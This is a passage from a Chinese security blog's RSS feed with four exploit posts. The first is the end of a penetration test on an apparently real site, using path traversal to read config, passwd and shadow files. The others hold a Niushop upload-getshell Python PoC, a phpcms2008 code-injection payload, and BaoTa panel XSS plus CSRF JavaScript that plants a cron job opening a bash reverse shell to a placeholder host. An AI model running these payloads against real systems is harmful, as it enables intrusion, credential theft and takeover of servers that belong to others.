<div id="crayon-5d1ed033533ff463407921-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&amp;file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b5d84fcc7.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b5d84fcc7.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>测试后发现<code>public_html</code>为根目录，决定挖挖注入，万一是root没降权就舒服了。</p>
<div id="crayon-5d1ed03353407733127003" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353407733127003-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353407733127003-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//www.xxx.com/?module=xx&amp;action=xx&amp;iPopNo=1&amp;seq_cd=1</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>&nbsp;</p>
<p>经过手动加sqlmap测试，发现后台存在时间盲注，由于国外站点访问不稳定的原因，遂放弃，在后期<a class="tag_link" title="浏览关于“getshell”的文章" href="/tags/getshell" target="_blank" rel="noopener noreferrer">getshell</a>之后发现用户不是<code>root</code>并且权限死得很，为之庆幸并没有在此处浪费时间。</p>
<p>到此处思路死了。编辑器<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>无解，sql注入getshell卒。还有什么思路呢？</p>
<p>我们之前爆出绝对路径的url访问后发现会自动下载</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed03353409889785611" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353409889785611-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353409889785611-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&amp;file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>存在任意文件下载吗？先构造一下尝试</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed0335340b534137264" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed0335340b534137264-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed0335340b534137264-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//xxx.com/download.php?dnfile=download.php&amp;file=/home/xxx/webapp/../public_html/download.php</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b7f087df9.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b7f087df9.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>bingo！</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b83626a7e.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b83626a7e.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>存在任意文件下载，我们找下数据库配置文件</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed0335340c650853694" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed0335340c650853694-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed0335340c650853694-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//xxx.com/download.php?dnfile=config.php&amp;file=/home/xxx/webapp/../public_html/index.php</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>index.php一般会引入数据库的config.php</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b8d0690c3.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b8d0690c3.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>重新构造</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed0335340e680146139" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed0335340e680146139-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed0335340e680146139-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//www.xxx.com/download.php?dnfile=config.php&amp;file=/home/xxx/webapp/../public_html/../webapp/config.php</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b93038ab1.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b93038ab1.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>数据库配置get！后发现没开3306外链，思路断掉。</p>
<p>在这个时候我重新回头看这个任意文件下载，读一下敏感文件试试？</p>
<div class="highlight">
<div class="chroma ">my.cnf</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b9cfa15ed.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b9cfa15ed.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>password被注释掉，无用。</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1ed03353412352985698" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353412352985698-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1ed03353412352985698-2">2</div>
<div class="crayon-num" data-line="crayon-5d1ed03353412352985698-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353412352985698-1" class="crayon-line"><span class="crayon-o">/</span><span class="crayon-v">etc</span><span class="crayon-o">/</span><span class="crayon-v">passwd</span></div>
<div id="crayon-5d1ed03353412352985698-2" class="crayon-line crayon-striped-line"><span class="crayon-o">/</span><span class="crayon-v">etc</span><span class="crayon-o">/</span><span class="crayon-v">shadow</span></div>
<div id="crayon-5d1ed03353412352985698-3" class="crayon-line"><span class="crayon-o">/</span><span class="crayon-v">etc</span><span class="crayon-o">/</span><span class="crayon-v">profile</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bbc2bccfd.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bbc2bccfd.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bb24e3ecb.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bb24e3ecb.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>没发现有可用信息。</p>
<p>下载apache配置文件</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed03353413046836516" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353413046836516-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353413046836516-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//www.xxx.com/download.php?dnfile=1.php&amp;file=/usr/local/apache/conf/httpd.conf</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bc74dca1b.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bc74dca1b.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>惊了！html可以被当作php文件！</p>
<p>于是我去编辑器中尝试上传这几种文件，仍以失败告终。</p>
<p>但是附件的我们还没试！</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bd536fb44.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bd536fb44.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>抓包改后缀，返回文章查看路径</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed03353415250991749" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353415250991749-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353415250991749-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//www.xxx.com/download.php?dnfile=php.jpg.html&amp;file=/home/xxx/webapp/../public_html/upload_dir/board/13303476456487546a3cd.html</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>拼接</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed03353417950859730" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed03353417950859730-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1ed03353417950859730-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//www.xxx.com/upload_dir/board/13303476456487546a3cd.html</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bdf9285ac.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bdf9285ac.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>getshell!</p>
<p>后面的就不说了，提权就是<a class="tag_link" title="浏览关于“脏牛”的文章" href="/tags/%e8%84%8f%e7%89%9b" target="_blank" rel="noopener noreferrer">脏牛</a>+<a href="https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD" target="_blank" rel="nofollow noopener noreferrer">bypass disablefunc</a>一条龙，没啥亮点。</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87bf81230af.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87bf81230af.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>本章结束，寡人欲休。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Niushop最新版 Getshell</title>
		<link>/audit/637.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 07 Jan 2019 15:42:25 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=637</guid>

					<description><![CDATA[Niushop开源商城采用thinkphp5.0+MySQL开发语言开发,完全开源商城系统,可以用于企业,个人建立自己的网上免费商城,支持开源微信商城,开源小程序,开源新零售。 下...]]></description>
										<content:encoded><![CDATA[<p>Niushop开源商城采用thinkphp5.0+MySQL开发语言开发,完全开源商城系统,可以用于企业,个人建立自己的网上免费商城,支持开源微信商城,开源小程序,开源新零售。</p>
<p>下载链接：<a href="http://www.niushop.com.cn/download.html">http://www.niushop.com.cn/download.html</a> Version：单商户 2.2</p>
<h2 id="安装爆破mysql密码"><i class="iconfont icon-link"></i>安装爆破MySQL密码</h2>
<div class="highlight">
<div class="chroma language-http">
<pre class="lang:default decode:true ">GET /niushop/install.php?action=true&amp;dbserver=127.0.0.1&amp;dbpassword=root2&amp;dbusername=root&amp;dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Referer: http://127.0.0.1/niushop/install.php?refresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: action=db
Connection: close</pre>
<p>&nbsp;</p>
</div>
</div>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy28t2plqj30z40rktbg.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy28t2plqj30z40rktbg.jpg" alt="" /></a></p>
<p>爆破成功返回1，密码错误返回0</p>
<h2 id="getshell"><i class="iconfont icon-link"></i><span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy2qoxqbmj310i0n2q4h.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy2qoxqbmj310i0n2q4h.jpg" alt="" /></a></p>
<p>上传图片只做了前端校验，抓包改后缀即可绕过。</p>
<p>对文件内容做了检查，文件大小不能过大或过小，合成马最好放到中间。</p>
<p>请求包截图，删除不必要的参数仍旧能够上传。</p>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy30j1claj30z40rkdki.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy30j1claj30z40rkdki.jpg" alt="" /></a></p>
<p>所以导致<strong>前台getshell</strong></p>
<h2 id="poc"><i class="iconfont icon-link"></i>PoC</h2>
<div class="highlight">
<div class="chroma language-python">
<pre class="lang:default decode:true ">import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82&lt;? php phpinfo(); ?&gt;", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)</pre>
<p>&nbsp;</p>
</div>
</div>
<p>参考链接</p>
<ol>
<li><a href="https://xz.aliyun.com/t/3767">https://xz.aliyun.com/t/3767</a></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Phpcms2008 Type.php Getshell</title>
		<link>/web/625.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 17 Dec 2018 07:15:23 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<guid isPermaLink="false">/?p=625</guid>

					<description><![CDATA[前言 phpcms2008老版本type.php存在代码注入可直接getshell。不过版本过低，使用人数较少，影响范围较小，当作拓展思路不错。 漏洞简介 当攻击者向装有phpcm...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>phpcms2008老版本<code>type.php</code>存在代码注入可直接<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>。不过版本过低，使用人数较少，影响范围较小，当作拓展思路不错。</p>
<h2 id="漏洞简介">漏洞简介</h2>
<p>当攻击者向装有phpcms2008版本程序的网站发送如下payload时</p>
<pre class="lang:default decode:true ">/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss</pre>
<p>&nbsp;</p>
<p>那么<code>@unlink(_FILE_);assert($_POST[1]);</code>这句话会被写入<code>rss.tpl.php</code>，即getshell。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8tvkpfm4j30j50azjt5.jpg" alt="" /></p>
<p>在<code>type.php</code>中<code>$template</code>用户可控，并且下方传入了<code>template()</code>函数，这个函数是在<code>/include/global.func.php</code>定义的，跟进下</p>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8tz91juuj30nl07sq41.jpg" alt="" /></p>
<p>可以看到执行了<code>template_compile()</code>函数，继续跟进，这个函数在<code>/include/template.func.php</code>中</p>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8u50aajbj310f09jdhz.jpg" alt="" /></p>
<p>在这个方法中，<code>$template</code>变量同时被用于<code>$compiledtplfile</code>中文件路径的生成，和<code>$content</code>中文件内容的生成。</p>
<p>而前文所述的攻击payload将<code>$template</code>变量被设置为如下的值</p>
<pre class="lang:default decode:true">tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss</pre>
<p>所以在<code>template_compile()</code>方法中，调用<code>file_put_contents()</code>函数时的第一个参数就被写成了<code>data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php</code>，这将被php解析成<code>data/cache_template/rss.tpl.php</code>。</p>
<p>最终，<code>@unlink(_FILE_);assert($_POST[1]);</code>将被写入该文件。</p>
<h2 id="修复建议">修复建议</h2>
<p>手动过滤<code>$template</code>参数，避免输入<code>{</code> <code>(</code>这类字符被当作路径和脚本内容处理。</p>
<p>升级才是正道，那么老的版本了还有人在用，是有多懒。</p>
<h2 id="参考链接">参考链接</h2>
<p><a href="https://xz.aliyun.com/t/3454">https://xz.aliyun.com/t/3454</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>宝塔面板6.x版本前台存储xss+后台csrf组合拳getshell</title>
		<link>/web/598.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 08 Nov 2018 12:29:38 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[宝塔]]></category>
		<guid isPermaLink="false">/?p=598</guid>

					<description><![CDATA[【前言】 什么是宝塔面板？ 宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SS...]]></description>
										<content:encoded><![CDATA[<h1 id="toc-0">【前言】</h1>
<p>什么是<span class="wpcom_tag_link"><a href="/tags/%e5%ae%9d%e5%a1%94" title="宝塔" target="_blank">宝塔</a></span>面板？</p>
<p>宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱，下载量过百万。</p>
<h1 id="toc-1">【漏洞代码分析】</h1>
<p>在6.x linux版本宝塔面板当中当中，相对与5.x版本，记录了验证码错误并存入数据库当中，存储xss缺陷就是在此处产生。</p>
<p>我们直接看漏洞代码。<br />
<a id="img0" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png" /></a><br />
直接分析post请求部分。<br />
<a id="img1" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png" /></a><br />
代码如下：<br />
<a id="img2" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png" /></a></p>
<p>我们可以看到这里首先判断了是否有 用户名密码，然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下，随后将错误次数大于1的用户名的和密码都进行了记录。<br />
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误</p>
<p>关键的代码如下：<br />
<a id="img3" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png" /></a></p>
<p>此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面，找到如下函数<br />
<a id="img4" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png" /></a></p>
<p>这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。<br />
可以在宝塔数据库当中，看到logs数据库里存储的信息<br />
<a id="img5" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png" /></a></p>
<h1 id="toc-2">【漏洞复现】</h1>
<p>我们直接在面板登录处，随便输入一个账号密码，触发失败，要求输入验证码。<br />
<a id="img6" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg" /></a><br />
<a id="img7" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png" /></a></p>
<p>由于没有任何过滤处理，我们直接输入弹窗的payload：</p>
<pre class="lang:default decode:true ">&lt;script&gt;alert('www.dafsec.org')&lt;/script&gt;</pre>
<p>&nbsp;</p>
<p><a id="img8" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png" /></a></p>
<p>登录后台后，打开安全模块，成功触发弹窗。<br />
<a id="img9" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png" /></a></p>
<p>由于服务器管理面板的特殊性，后台可以进行敏感操作。手写js远程调用，利用<span class="wpcom_tag_link"><a href="/tags/csrf" title="csrf" target="_blank">csrf</a></span>漏洞在计划任务处配合存储xss，可成功反弹shell，弹shell成功截图如下：<br />
<a id="img10" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png" /></a></p>
<p>远程调用的js代码如下：</p>
<pre class="lang:default decode:true ">function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i &gt;&amp; /dev/tcp/your_ip/your_port 0&gt;&amp;1';
    execShell = encodeURIComponent(execShell);
    var params = 'name=' + TaskName + '&amp;type=minute-n&amp;where1=' + execTime + '&amp;hour=&amp;minute=&amp;week=&amp;sType=toShell&amp;sBody=' + execShell + '&amp;sName=&amp;backupTo=localhost&amp;save=&amp;urladdress=undefined'
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();
    xhr.onload = function () {
        if (this.readyState == 4 &amp;&amp; this.status == 200) {
            var res = JSON.parse(this.responseText);
            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);
                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}

function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);</pre>
<p>&nbsp;</p>
<h1 id="toc-3">【后序】</h1>
<p>宝塔官方已修复该漏洞，但仍有大量存在漏洞主机暴露于公网，请及时更新至最新版本。<br />
官方已修复该漏洞，漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
